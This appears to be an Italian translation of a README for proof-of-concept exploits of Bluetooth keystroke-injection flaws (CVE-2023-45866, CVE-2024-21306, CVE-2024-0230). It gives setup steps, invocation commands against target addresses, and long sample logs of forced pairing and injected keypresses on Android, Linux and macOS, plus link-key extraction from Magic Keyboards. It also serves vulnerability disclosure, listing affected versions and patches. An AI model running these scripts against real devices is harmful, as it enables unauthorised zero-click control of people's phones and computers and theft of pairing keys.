PoC di exploit per l'iniezione di sequenze di tasti Bluetooth per CVE-2023-45866, CVE-2024-21306 e CVE-2024-0230 che prendono di mira Android, Linux, macOS e iOS tramite tastiere HID emulate.
Questo repository contiene script proof-of-concept per CVE-2023-45866, CVE-2024-21306 e CVE-2024-0230. Ulteriori dettagli sono disponibili nel post del blog.
| Proof of Concept | Descrizione |
|---|---|
| Iniezione di tasti su Android | Associa forzatamente una tastiera Bluetooth virtuale a un dispositivo Android vulnerabile e inietta 10 secondi di pressioni del tasto tab. |
| Iniezione di tasti su Linux | Associa forzatamente una tastiera Bluetooth virtuale a un host Linux e inietta 10 secondi di pressioni del tasto tab. |
| Iniezione di tasti su macOS | Associa forzatamente una tastiera Bluetooth virtuale a un host macOS e inietta tasti per aprire un browser web ed eseguire una ricerca su Google. |
| Iniezione di tasti su iOS | Associa forzatamente una tastiera Bluetooth virtuale a un host iOS e inietta tasti per aprire un browser web e navigare verso un URL. |
| Iniezione di tasti su Windows | Associa forzatamente una tastiera Bluetooth virtuale a un host Windows e inietta pressioni del tasto tab. |
| Chiave di collegamento Magic Keyboard tramite porta Lightning | Legge la chiave di collegamento Bluetooth dalla porta Lightning su una Magic Keyboard. |
| Chiave di collegamento Magic Keyboard tramite Bluetooth | Legge la chiave di collegamento Bluetooth dal servizio HID Bluetooth non autenticato sulla Magic Keyboard. |
| Chiave di collegamento Magic Keyboard tramite porta USB sul Mac | Legge la chiave di collegamento Bluetooth per una Magic Keyboard target impersonando la tastiera tramite USB sul suo Mac associato. |
Gli script sono noti per funzionare su un host Ubuntu 22.04 con un adattatore Bluetooth basato su Broadcom.
Ho usato principalmente questo adattatore: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
Partendo da un'installazione pulita di Ubuntu 22.04, le dipendenze possono essere installate con i seguenti comandi.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
I dispositivi Android sono vulnerabili alle versioni precedenti al livello di patch di sicurezza del 2023-12-05.
Quando il Bluetooth è abilitato su un dispositivo Android non patchato, un attaccante può associare una tastiera Bluetooth emulata e iniettare sequenze di tasti, senza conferma da parte dell'utente. Si tratta di un attacco zero-click che funziona ogni volta che il Bluetooth è attivo.
Questa vulnerabilità riguarda Android ~4.2.2 e versioni successive.
Esegui il PoC che ha come target il dispositivo Android 5C:F3:70:AA:07:BD utilizzando l'interfaccia hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
Se ha successo, il PoC inietterà un payload di pressioni del tasto `tab` per 10 secondi.
#### Esempio di output```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
Gli host Linux che eseguono BlueZ 5 sono vulnerabili prima del rilascio delle patch, avvenuto approssimativamente a dicembre 2023. I numeri di versione specifici dipendono dalla distribuzione Linux.
Quando un host Linux non patchato è rilevabile e connettibile via Bluetooth, un attaccante può associare una tastiera Bluetooth emulata e iniettare sequenze di tasti, senza conferma da parte dell'utente. Questo è un attacco zero-click che funziona ogni volta che l'host è rilevabile e connettibile.
Si ritiene che questa vulnerabilità colpisca le distribuzioni Linux non patchate che utilizzano la configurazione predefinita di BlueZ 5.
Google dichiara che ChromeOS non è stato interessato da questa vulnerabilità e, sebbene ChromeOS non sia stato testato nell'ambito di questa ricerca, la sua configurazione di BlueZ sembra effettivamente prevenire l'attacco.
Le distribuzioni interessate includono Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto e Amazon Linux. Possono essere interessate più release e, ad esempio, Ubuntu ha patchato 16.04, 18.04, 20.04, 22.04, 23.04 e 23.10.
Eseguire il PoC prendendo di mira l'host Linux 58:28:39:E6:AE:1C utilizzando l'interfaccia hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
In caso di successo, la PoC inietterà un payload di pressioni del tasto `tab` per 10 secondi.
#### Esempio di output```
> ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
[2024-01-07 11:00:08.955] executing 'sudo service bluetooth restart'
[2024-01-07 11:00:09.586] configuring Bluetooth adapter
[2024-01-07 11:00:09.590] calling RegisterProfile
[2024-01-07 11:00:09.595] running dbus loop
[2024-01-07 11:00:09.725] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:00:09.738] executing 'hciconfig hci1 name'
[2024-01-07 11:00:09.759] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:00:09.771] executing 'hciconfig hci1 class'
[2024-01-07 11:00:09.774] executing 'hcitool name 58:28:39:E6:AE:1C'
[2024-01-07 11:00:10.399] connecting to SDP
[2024-01-07 11:00:10.400] connecting to 58:28:39:E6:AE:1C on port 1
[2024-01-07 11:00:12.984] SUCCESS! connected on port 1
[2024-01-07 11:00:12.984] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:00:12.992] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:00:13.001] connected to SDP (L2CAP 1) on target
[2024-01-07 11:00:13.011] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:00:13.253] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.020] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.020] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:15.296] SUCCESS! connected on port 17
[2024-01-07 11:00:15.296] connecting to HID Interrupt
[2024-01-07 11:00:15.296] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.296] [RX-17] 15
[2024-01-07 11:00:15.500] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.500] connecting to HID Interrupt
[2024-01-07 11:00:15.501] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.636] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.636] connecting to HID Interrupt
[2024-01-07 11:00:15.638] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.764] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.764] connecting to HID Interrupt
[2024-01-07 11:00:15.766] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.784] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.784] connecting to HID Interrupt
[2024-01-07 11:00:15.785] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.832] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.832] connecting to HID Interrupt
[2024-01-07 11:00:15.833] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.880] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.880] connecting to HID Interrupt
[2024-01-07 11:00:15.881] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.160] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.160] connecting to HID Interrupt
[2024-01-07 11:00:16.161] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.300] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.300] connecting to HID Interrupt
[2024-01-07 11:00:16.301] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.580] SUCCESS! connected on port 19
[2024-01-07 11:00:16.580] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:00:16.580] connecting to HID Control
[2024-01-07 11:00:16.580] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:16.859] SUCCESS! connected on port 17
[2024-01-07 11:00:16.860] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:00:16.860] [RX-17] 4190
[2024-01-07 11:00:16.860] [TX-17] 00
[2024-01-07 11:00:17.110] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.110] injecting Tab keypresses for 10 seconds
[2024-01-07 11:00:17.111] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.115] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.170] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.174] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.229] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.233] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.288] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.292] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.347] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.352] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.406] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.410] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.465] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.469] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.524] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.528] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.583] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.587] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.642] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.646] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.701] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.705] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.759] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.764] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.818] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.823] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.877] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.882] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.936] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.941] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.995] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.000] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.054] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.059] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.113] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.118] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.172] [TX-19] a10100002b000000000000
...
[2024-01-07 11:00:27.102] [TX-19] a101000000000000000000
[2024-01-07 11:00:27.157] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:00:27.157] taking 'hci1' offline
Quando un Mac tenta di connettersi a una Magic Keyboard associata via Bluetooth, un attaccante può impersonare la Magic Keyboard nei confronti del Mac, associare una tastiera Bluetooth virtuale e iniettare sequenze di tasti senza conferma da parte dell'utente.
Questo attacco ha una componente di tempistica: l'attaccante deve connettersi al Mac nel momento esatto in cui il Mac tenta di connettersi alla Magic Keyboard.
La PoC inclusa si attiva quando una Magic Keyboard viene scollegata dal suo Mac (ad esempio dopo la ricarica o l'associazione). La PoC utilizza il servizio SDP Bluetooth del Mac come canale laterale per osservare l'evento di scollegamento e attivare l'attacco. Si tratta di un attacco zero-click che richiede di osservare una Magic Keyboard che viene scollegata da un Mac.
./keystroke-injection-macos.py --help usage: keystroke-injection-macos.py [-h] -i INTERFACE -t TARGET_ADDRESS -k KEYBOARD_ADDRESS
options: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE -t TARGET_ADDRESS, --target_address TARGET_ADDRESS -k KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
##### Invocazione```
./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02
[2024-01-07 12:25:43.777] executing 'sudo service bluetooth restart' [2024-01-07 12:25:44.324] configuring Bluetooth adapter [2024-01-07 12:25:44.461] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard' [2024-01-07 12:25:44.474] executing 'hciconfig hci1 name' [2024-01-07 12:25:44.493] executing 'sudo hciconfig hci1 class 0x002540' [2024-01-07 12:25:44.506] executing 'hciconfig hci1 class' [2024-01-07 12:25:44.509] executing 'sudo bdaddr -i hci1 1C:57:DC:88:55:02' [2024-01-07 12:25:44.649] executing 'hciconfig hci1' [2024-01-07 12:25:44.652] connecting to SDP [2024-01-07 12:25:44.652] connecting to 50:DE:06:A8:E1:CA on port 1 [2024-01-07 12:25:45.776] SUCCESS! connected on port 1 [2024-01-07 12:25:45.776] executing 'sudo btmgmt --index hci1 io-cap 1' [2024-01-07 12:25:45.788] executing 'sudo btmgmt --index hci1 ssp 1' [2024-01-07 12:25:45.795] connected to SDP (L2CAP 1) on target [2024-01-07 12:25:45.795]
[2024-01-07 12:25:46.014] b'HCI sniffer - Bluetooth packet analyzer ver 5.64\n' [2024-01-07 12:25:46.015] b'device: hci1 snap_len: 1500 filter: 0xffffffffffffffff\n' [2024-01-07 12:25:46.017] b'> HCI Event: Number of Completed Packets (0x13) plen 5\n' [2024-01-07 12:25:46.018] b' handle 11 packets 1\n' [2024-01-07 12:25:47.296] b'> ACL data: handle 11 flags 0x02 dlen 12\n' [2024-01-07 12:25:47.297] b' L2CAP(s): Connect req: psm 1 scid 0x0506\n' [2024-01-07 12:25:47.337] connecting to HID Control [2024-01-07 12:25:47.337] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.788] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 12:25:47.788] connecting to HID Control [2024-01-07 12:25:47.799] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.908] SUCCESS! connected on port 17 [2024-01-07 12:25:47.908] connected to HID Control (L2CAP 17) on target [2024-01-07 12:25:47.908] connecting to HID Interrupt [2024-01-07 12:25:47.908] connecting to 50:DE:06:A8:E1:CA on port 19 [2024-01-07 12:25:47.976] SUCCESS! connected on port 19 [2024-01-07 12:25:47.976] connected to HID Interrupt (L2CAP 19) on target [2024-01-07 12:25:47.976] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.012] [RX-17] 71 [2024-01-07 12:25:48.013] [TX-17] 00 [2024-01-07 12:25:48.048] [RX-17] 53c601180121 [2024-01-07 12:25:48.048] [TX-17] 00 [2024-01-07 12:25:48.084] [RX-17] 53ffbb [2024-01-07 12:25:48.084] [TX-17] 00 [2024-01-07 12:25:48.116] [RX-17] 43f0 [2024-01-07 12:25:48.116] [TX-17] 00 [2024-01-07 12:25:48.159] [RX-17] 53ff90 [2024-01-07 12:25:48.160] [TX-17] 00 [2024-01-07 12:25:48.192] [RX-17] 41f0 [2024-01-07 12:25:48.192] [TX-17] 00 [2024-01-07 12:25:48.228] [RX-17] 53ff34 [2024-01-07 12:25:48.228] [TX-17] 00 [2024-01-07 12:25:48.265] [RX-17] 43f0 [2024-01-07 12:25:48.265] [TX-17] 00 [2024-01-07 12:25:48.296] [RX-17] 53ff90 [2024-01-07 12:25:48.296] [TX-17] 00 [2024-01-07 12:25:48.308] [RX-17] 41f0 [2024-01-07 12:25:48.309] [TX-17] 00 [2024-01-07 12:25:48.344] [RX-17] 53ffe0 [2024-01-07 12:25:48.344] [TX-17] 00 [2024-01-07 12:25:48.376] [RX-17] 43f0 [2024-01-07 12:25:48.376] [TX-17] 00 [2024-01-07 12:25:48.413] [RX-17] 53ff14 [2024-01-07 12:25:48.413] [TX-17] 00 [2024-01-07 12:25:48.456] [RX-17] 43f0 [2024-01-07 12:25:48.456] [TX-17] 00 [2024-01-07 12:25:48.492] [RX-17] 53ffc5 [2024-01-07 12:25:48.493] [TX-17] 00 [2024-01-07 12:25:48.528] [RX-17] 43f0 [2024-01-07 12:25:48.528] [TX-17] 00 [2024-01-07 12:25:48.572] [RX-17] 53ff02 [2024-01-07 12:25:48.573] [TX-17] 00 [2024-01-07 12:25:48.607] [RX-17] 43f1 [2024-01-07 12:25:48.608] [TX-17] 00 [2024-01-07 12:25:48.644] [RX-19] a2f10100 [2024-01-07 12:25:48.645] injecting payload [2024-01-07 12:25:48.645] [TX-19] a1010800e32c0000000000 [2024-01-07 12:25:48.646] [RX-19] a2f10100 [2024-01-07 12:25:48.647] [RX-19] a2f10100 [2024-01-07 12:25:48.649] [RX-19] a2f10100 [2024-01-07 12:25:48.650] [RX-19] a2f10100 [2024-01-07 12:25:48.653] [RX-17] 53ff03 [2024-01-07 12:25:48.653] [TX-17] 00 [2024-01-07 12:25:48.680] [RX-17] 43f1 [2024-01-07 12:25:48.680] [TX-17] 00 [2024-01-07 12:25:48.896] [TX-19] a101000017000000000000 [2024-01-07 12:25:48.900] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.905] [TX-19] a101000008000000000000 [2024-01-07 12:25:48.909] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.914] [TX-19] a101000015000000000000 [2024-01-07 12:25:48.918] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.922] [TX-19] a101000010000000000000 [2024-01-07 12:25:48.927] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.931] [TX-19] a10100000c000000000000 [2024-01-07 12:25:48.936] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.940] [TX-19] a101000011000000000000 [2024-01-07 12:25:48.944] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.949] [TX-19] a101000004000000000000 [2024-01-07 12:25:48.953] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.958] [TX-19] a10100000f000000000000 [2024-01-07 12:25:48.962] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.966] [TX-19] a101000028000000000000 [2024-01-07 12:25:48.971] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.225] [TX-19] a101010006e00000000000 [2024-01-07 12:25:49.230] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.234] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.239] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.244] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.248] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.252] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.256] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.261] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.265] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.269] [TX-19] a10100002c000000000000 [2024-01-07 12:25:49.274] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.278] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.283] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.287] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.291] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.296] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.300] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.304] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.309] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.313] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.318] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.322] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.327] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.331] [TX-19] a101020033e10000000000 [2024-01-07 12:25:49.335] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.340] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.344] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.349] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.353] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.358] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.362] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.367] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.371] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.376] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.380] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.385] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.389] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.393] [TX-19] a10100000f000000000000 [2024-01-07 12:25:49.398] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.402] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.407] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.411] [TX-19] a101000037000000000000 [2024-01-07 12:25:49.416] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.420] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.424] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.429] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.433] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.438] [TX-19] a101000010000000000000 [2024-01-07 12:25:49.442] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.447] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.451] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.455] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.460] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.464] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.468] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.473] [TX-19] a101000004000000000000 [2024-01-07 12:25:49.477] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.482] [TX-19] a101000015000000000000 [2024-01-07 12:25:49.486] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.491] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.495] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.499] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.504] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.508] [TX-19] a101020038e10000000000 [2024-01-07 12:25:49.513] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.517] [TX-19] a101000014000000000000 [2024-01-07 12:25:49.522] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.526] [TX-19] a10100002e000000000000 [2024-01-07 12:25:49.531] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.535] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.540] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.544] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.549] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.553] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.558] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.562] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.567] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.571] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.576] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.580] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.585] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.589] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.593] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.598] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.602] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.607] [TX-19] a101000009000000000000 [2024-01-07 12:25:49.611] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.616] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.620] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.625] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.629] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.633] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.638] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.642] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.646] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.651] [TX-19] a101000028000000000000 [2024-01-07 12:25:49.655] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.760] payload has been transmitted; disconnecting Bluetooth HID client [2024-01-07 12:25:49.761] taking 'hci1' offline
## Estrazione della chiave di collegamento
### Chiave di collegamento della Magic Keyboard tramite porta Lightning
Quando la Magic Keyboard è collegata al Mac, il Mac invia la chiave di collegamento Bluetooth alla Magic Keyboard tramite USB.
La chiave di collegamento rimane in memoria finché la Magic Keyboard non viene spenta e può essere letta da un attaccante con accesso alla porta Lightning della tastiera.
#### Versioni interessate
Apple ha iniziato a distribuire le [patch per la Magic Keyboard](https://support.apple.com/en-us/HT214050) il 2024-01-09.
Le seguenti periferiche Apple sono state testate e risultate vulnerabili a questo attacco. Nessun'altra periferica è stata testata, quindi questo elenco potrebbe essere incompleto.
| Nome prodotto | Numero modello |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard con Touch ID | A2449 |
| Magic Keyboard con tastierino numerico | A1843 |
| Magic Keyboard con Touch ID e tastierino numerico | A2520 |
| Magic Mouse | A1657 |
#### Stato iniziale
- La Magic Keyboard è rimasta accesa dall'ultima volta che è stata collegata al Mac
#### Esecuzione del PoC
Collega la Magic Keyboard al computer Linux con un cavo Lightning-to-USB ed esegui lo script senza parametri.```
./read-link-key-lightning.py
Model - Magic Keyboard Serial Number - F1T2107RUNW12NXA9 BT Address - 1c:57:fc:08:65:12 Mac BT Address - a4:c3:99:e8:a8:6c BT Link Key - c95e3ec98809f2745d32029e7f97b67e
### Magic Keyboard Link Key via porta USB su Mac
Quando la Magic Keyboard è collegata al Mac, il Mac invia la link key Bluetooth alla Magic Keyboard tramite USB.
La volta successiva in cui la Magic Keyboard viene collegata al Mac, viene riconosciuta tramite il suo indirizzo Bluetooth e numero di serie, e il Mac invia la link key originale alla Magic Keyboard.
Se un attaccante conosce l'indirizzo Bluetooth e il numero di serie di una Magic Keyboard bersaglio, può impersonare la Magic Keyboard verso il Mac tramite USB e leggere la link key bersaglio dalla porta USB del Mac.
La PoC implementa questo attacco scrivendo l'indirizzo Bluetooth e il numero di serie del bersaglio su una tastiera donatrice, collegando la tastiera donatrice al Mac e quindi leggendo la link key dalla tastiera donatrice.
Questo attacco può essere mitigato abilitando la Lockdown Mode sul Mac.
#### Versioni interessate
Apple ha iniziato a distribuire le [patch per Magic Keyboard](https://support.apple.com/en-us/HT214050) il 2024-01-09.
Sono state testate le versioni 12, 13 e 14 di macOS, risultate vulnerabili a questo attacco. Le versioni precedenti di macOS non sono state testate.
Le seguenti periferiche Apple sono state testate e risultate vulnerabili a questo attacco. Nessun'altra periferica è stata testata, quindi questo elenco potrebbe essere incompleto.
| Nome prodotto | Numero modello |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad | A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |
#### Stato iniziale
- La Magic Keyboard è associata a un Mac che non ha la Lockdown Mode abilitata
